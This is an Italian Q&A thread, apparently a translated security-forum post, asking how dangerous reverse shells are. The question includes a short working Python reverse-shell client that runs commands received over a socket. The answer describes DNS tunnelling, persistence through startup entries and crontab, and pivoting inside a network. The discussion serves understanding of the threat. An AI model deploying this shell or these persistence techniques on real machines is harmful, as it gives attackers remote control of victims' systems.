Quanto sono pericolosi i reverse-shell in una rete?

1

Sto lavorando su un semplice oggetto reverse-shell in Python. Può accettare e interpretare i comandi su una shell generata sulla vittima. Sfortunatamente non supporta funzionalità come ping, traceroute, nbtstat (per macchine Windows), nslookup (anche per Windows), per ragioni che non capisco abbastanza bene. La mia domanda è, quanta parte di una minaccia sono questi reverse-shell in una rete? Sembrano banali nel senso che un utente standard dovrebbe (e dovrebbe) avere i propri privilegi limitati, quindi non si può davvero fare del male, e la shell inversa sembra qualcosa che si potrebbe passare a casa di un amico e collegarsi al suo computer per verifica teorica. Inoltre, i collegamenti a ulteriori letture sarebbero apprezzati; gli attacchi "inside-out" mi interessano davvero. thingy: Ah scusa dimenticavo di includere il "coso":)

#! /usr/bin/python3

import socket, subprocess, os
from sys import argv

script, host, port = argv


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((str(host), int(port)))
except ValueError as err:
    print ("You entered the wrong host / port combination or something...")
    print ("Here is the error message:\n{}".format(err))
except (socket.error) as err:
    print ("Socket error of some sort...")
    print ("Here is the error message:\n\n\n{}".format(err))


while True:
    s.send("Command: ".encode("utf-8"))
    comm = s.recv(4096)
    comm = comm.decode("utf-8")
    print (comm)
    if comm[:2] == "cd":
        os.chdir(comm[3:].rstrip())
    p = subprocess.Popen([comm], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding = 'utf-8')
    s.send(p.stdout.read().encode("utf-8"))
    
posta Inquisitive 08.09.2017 - 15:56
fonte

1 risposta

1

In un mondo ideale, nessun computer dovrebbe mai avere una vulnerabilità, giusto?  Sfortunatamente, non viviamo in un mondo di sogni così, e quando le vulnerabilità vengono sfruttate, il carico utile è spesso un guscio di qualche tipo.

Anche le reti più restrittive consentono spesso l'invio di query DNS e le risposte ricevute ; questo è sufficiente per ospitare una shell inversa, ma non una shell forward.

A volte è solo una questione di tempo. Molte brutte sorprese si sono verificate a causa della sottovalutazione dei loro confini con vulnerabilità di escalation dei privilegi, buffer overflow locali, ecc. E se si ha una shell in esecuzione come utente non privilegiato su un sistema al momento giusto, questa è la tua piede nella porta. L'accesso disagiato fa bene al paziente "hacker"; lui / lei posso solo aspettare il tempo aspettando che arrivi una vulnerabilità ...

... e allora quale strumento migliore per mantenere l'accesso al sistema quando si ottiene l'accesso amministrativo? Ha solo bisogno di essere aggiunto al registro di avvio, come un servizio di sistema, crontab o molti altri luoghi ...

A parte questo, non tutte le vulnerabilità devono comportare l'accesso come root. Ricordo una volta in cui avevo scritto un programma in C per servire alcune immagini statiche. Ora penseresti che un tale programma non dovrebbe contenere un buffer overflow, e io ero abbastanza fiducioso, ma lo è stato. Lo ha fatto ed è stato sfruttato. Potrebbe essere stato isolato dal resto del sistema, ma ciò non ha impedito al "pirata informatico" di eseguire nmap per eseguire la scansione dei subranges sul mio sistema.

Forse se avessi avuto una stampante abilitata alla rete sulla mia rete, o un router vulnerabile, avrebbero potuto usare l'account non privilegiato per accedere ad altri sistemi ! A quel punto, ancora una volta, un hacker di questo tipo potrebbe attendere il proprio tempo, occasionalmente testare l'intera rete interna per vulnerabilità in futuro e attendere l'accesso amministrativo, se il traffico e i documenti intercettati non sono sufficientemente redditizi . ..

Questo mi ricorda anche un'era in cui l'IRC era un disgustoso pantano di sporcizia contagiosa. Lo spam sarebbe sotto forma di comandi che alcuni utenti dovrebbero digitare, e quindi i loro sistemi sarebbero utilizzati per ulteriori spam, ovviamente. Questo è senza dubbio il destino di molte macchine compromesse, dal momento che la creazione di e-mail non richieste non richiede strumenti amministrativi e può fornire un incentivo finanziario.

Mentre siamo sul tema degli incentivi finanziari, hai seguito il prezzo dell'etere ?

    
risposta data 08.09.2017 - 16:55
fonte

Leggi altre domande sui tag